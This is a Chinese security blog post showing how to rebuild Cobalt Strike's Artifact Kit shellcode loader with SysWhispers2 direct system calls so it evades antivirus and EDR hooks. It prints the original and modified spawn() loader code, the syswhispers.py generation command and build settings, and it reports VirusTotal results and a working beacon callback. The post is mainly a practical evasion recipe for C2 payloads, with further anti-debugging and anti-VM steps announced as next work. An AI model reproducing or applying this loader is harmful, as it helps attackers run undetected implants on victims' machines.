结合 Artifact Kit 和 Syswhispers 绕过AV/EDR

  • A+
所属分类:安全文章

接上篇文章,简单分析了Artifact Kit 的源码后,我们搞清楚了Cobalt Strike生成artifact的原理,以及Artifact Kit用到的一些免杀手法,本篇将结合上篇末尾的参考文章的思路进行实践。Artifact Kit配合Syswhispers2工具实现对AV/EDR的部分API监控进行绕过,参考文章链接如下所示:

https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/

SysWhispers功能

SysWhispers 通过生成植入程序可以用来进行直接系统调用的头文件/ASM 文件来帮助规避,支持所有核心的系统调用,这意味着可以不再需要依赖 ntdll.dll 中 API 调用,这些调用通常被 EDR 挂钩。相反,我们可以使用SysWhispers 生成的标头/ASM 对直接执行相关的系统调用。首先需要弄清楚的是要替换哪些 API 调用,然后为这些未记录的函数提供参数。

这里我们使用Artifact Kit中的bypass-peek功能做个举例,创建项目,将Artifact Kit文件复制到项目中,然后观察下可以使用系统调用替换的函数。

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


很快在patch.c中可以发现有三个被AV/EDR经常监控的API,VirtualAlloc,VirtualProtect和CreateThread函数,接下来用SysWhispers将其替换为系统调用。

void spawn(void * buffer, int length, char * key) {
 DWORD old;

 /* allocate the memory for our decoded payload */
 void * ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 int x;
 for (x = 0; x < length; x++) {
  char temp = *((char *)buffer + x) ^ key[x % 4];
  *((char *)ptr + x) = temp;
 }
 
 /* propagate our key function pointers to our payload */
 set_key_pointers(ptr);
 
 /* change permissions to allow payload to run */
 VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
 
 /* spawn a thread with our data */
 CreateThread(NULL0, (LPTHREAD_START_ROUTINE)&run, ptr, 0NULL);

}

SysWhispers使用方法

SysWhispers支持的API列表如下所示:

  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

把项目https://github.com/jthuraisamy/SysWhispers2下载到本地,然后执行命令,

python syswhispers.py -f NtProtectVirtualMemory,NtAllocateVirtualMemory,NtCreateThreadEx -o syscalls

其中 **-f 表示要用来替换的系统调用函数,参照上面的列表,用逗号隔开,-o **表示输出的文件名称,运行成功后会生成三个文件,需要复制到项目中去。

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


结合流程

  1. 将生成的 H/C/ASM 文件复制到项目文件夹中。

  2. 在 Visual Studio 的解决方案资源管理器中,将 .h 和 .c/.asm 文件分别作为头文件和源文件添加到项目中。

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


  1. 在 Visual Studio 中,打开项目 ——> 生成自定义 ,并启用 masm

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


  1. 转到 ASM 文件的属性,并将项类型设置为Microsoft Macro Assembler

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


  1. SysWhispers2只支持生成x64项目,如果要生成x86项目需要使用mai1zhi2师傅的https://github.com/mai1zhi2/SysWhispers2_x86项目,和SysWhispers2的使用方法差不多,把文件导入项目即可。

接下来就可以在patch.c中替换三个函数了,替换结果如下所示:

void spawn(void * buffer, int length, char * key) {
 HANDLE hProc = GetCurrentProcess();
 DWORD oldprotect = 0;
 PVOID ptr = NULL;
 HANDLE thandle = NULL;

    /* allocate the memory for our decoded payload */
 NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 int x;
 for (x = 0; x < length; x++) {
  char temp = *((char *)buffer + x) ^ key[x % 4];
  *((char *)ptr + x) = temp;
 }
 
 /* propagate our key function pointers to our payload */
 set_key_pointers(ptr);
 
 /* change permissions to allow payload to run */
 NTSTATUS NTPVM = NtProtectVirtualMemory(hProc, &ptr, (PSIZE_T)&length, PAGE_EXECUTE_READ, &oldprotect);
 
 /* spawn a thread with our data */
 NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, ptr, NULL, FALSE, 000NULL);
 WaitForSingleObject(thandle, INFINITE);
 free(ptr);
}

然后就可以编译了,编译出来看下导出表,现在任何静态检查导入表的程序都无法得知其如何调用三个API了

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


功能测试

将程序和目录中的同功能程序做替换,比如上面这个程序需要和artifact64.exe做替换,在Cobalt Strike中对应的生成操作是生成64-bit staged artifact,如果要生成stagless artifact,需要按照build.sh的规范,将DATA_SIZE=271360。为了满足所有Cobalt Strike的生成artifact方法,按照如上方法创建了6个项目,dll需要创建动态链接库项目,其他和exe同理。

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


编译后,将文件替换加载cna脚本进行测试,上传VT结果(只是测试,建议测试杀软不要直接上传VT,挨个虚拟机测试):

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


正常上线

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR

还有个问题需要解决,Artifact Kit 的shellcode默认使用的是xor 四字节加密,容易被识别,为了解决这个问题后续需要对cna脚本进行修改,还有添加一些新的反调试反vm手段。

文中提到的相关代码已上传至知识星球。

参考文章和项目

  • https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/
  • https://github.com/jthuraisamy/SysWhispers2
  • https://github.com/mai1zhi2/SysWhispers2_x86


结合 Artifact Kit 和 Syswhispers 绕过AV/EDR


本文始发于微信公众号(宽字节安全):结合 Artifact Kit 和 Syswhispers 绕过AV/EDR

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: